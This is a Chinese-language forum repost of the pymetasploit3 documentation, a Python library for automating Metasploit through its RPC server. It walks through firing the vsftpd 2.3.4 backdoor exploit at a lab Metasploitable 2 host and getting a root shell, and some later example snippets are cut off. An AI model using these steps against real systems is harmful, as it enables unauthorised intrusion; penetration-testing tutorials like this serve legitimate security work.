标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2405] 作者: 浩丶轩 发表于: [2019-06-29]
本文共 [469] 位读者顶过
Pymetasploit3是一个Python编写的成熟的Metasploit自动化库。它可以通过msfrpcd或msfconsole中的msgrpc插件与Metasploit进行交互。
[出自:jiwo.org]
原始库:pymetasploit该项目是Python2 pymetasploit库的更新和改进版本。 原项目地址:https://github.com/allfro/pymetasploit 安装mkdir your-project cd your-project pipenv install --three pymetasploit3 pipenv shell 或: pip3 install --user pymetasploit3 基本使用启动 Metasploit RPC server 你也可以使用msfrpcd或msfconsole启动RPC server。 Msfconsole这将启动端口55552上的RPC server以及Metasploit控制台UI。 $ msfconsole msf> load msgrpc [Pass=yourpassword] msfrpcd这将在端口55553上启动RPC服务器,并将在后台启动RPC server。 $ msfrpcd -P yourpassword -S RPC client连接到 msfrpcd >>> from pymetasploit3.msfrpc import MsfRpcClient >>> client = MsfRpcClient('yourpassword') 加载 msgrpc 插件连接到 msfconsole >>> from pymetasploit3.msfrpc import MsfRpcClient >>> client = MsfRpcClient('yourpassword', port=55552) MsfRpcClientMsfrpcclient类提供了在metasploit框架中导航的核心功能。使用dir(client)查看可调用的方法。
>>> [m for m in dir(client) if not m.startswith('_')]
与metasploit框架一样,MsfRpcClient被分割为不同的管理模块:
运行一个 exploit exploit模块: >>> client.modules.exploits['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11', 'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ... 'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21'] >>>
创建一个exploit模块对象:
>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
exploit模块信息:
>>> print(exploit.description)
让我们使用在VMWare上运行的Metasploitable 2实例作为我们的漏洞利用目标。它当前运行了我们最喜欢的vsFTPd版本 – 2.3.4 – 我已经加载了漏洞利用模块。下一步是指定我们的攻击目标:
>>> exploit['RHOST'] = '172.16.14.145' # IP of our target host
选择一个payload:
>>> exploit.targetpayloads()
该漏洞的利用仅支持一个payload(cmd/unix/interact)。让我们来弹出一个shell:
>>> exploit.execute(payload='cmd/unix/interact')
可以看到job成功运行,因为job_id为1。如果模块由于任何原因无法执行,则job_id将为None。在会话列表中我们可以看到一些非常有用的信息。
>>> client.sessions.list
与 shell 交互 从上面找到的会话编号中创建一个shell对象并写入: >>> shell = client.sessions.session('1')>>> shell.write('whoami') >>> print(shell.read()) root >>>
像此前一样运行相同的exploit对象,但要它完成并获取输出:
>>> cid = client.consoles.console().cid # Create a new console and store its number in 'cid'
client.sessions.session(’1′)具有相同的.write(‘some string’) 和.read()方法,但运行会话命令并等待它们完成返回输出并不像控制台命令那么简单。对于client.consoles.console(’1′).is_busy(),Metasploit RPC服务器将返回一个为true或False的busy值,但要确定client.sessions.session()是否完成运行命令需要我们手动执行。为此,我们将使用一个字符串列表,当在会话输出中找到任何字符串时,它将告诉我们会话已运行完其命令。下面我们在meterpreter会话中运行arp命令。我们知道这个命令将返回一个包含字符的较大blob文本—-如果成功运行,那么我们将它放入一个列表对象中。
>>> session_id = '1'
使用输出运行PowerShell脚本:
>>> session_id = '1'
也可以使用超时简单地返回在超时到期之前找到的所有数据。timeout默认值为Metasploit的通信超时300秒,如果命令超时,则会抛出异常。更改此设置,请将timeout_exception设置为False,库将只返回在超时到期之前找到的会话输出中的所有数据。
>> session_id = '1'
更多示例
你可以在example_usage.py文件中找到许多其他用法示例。
|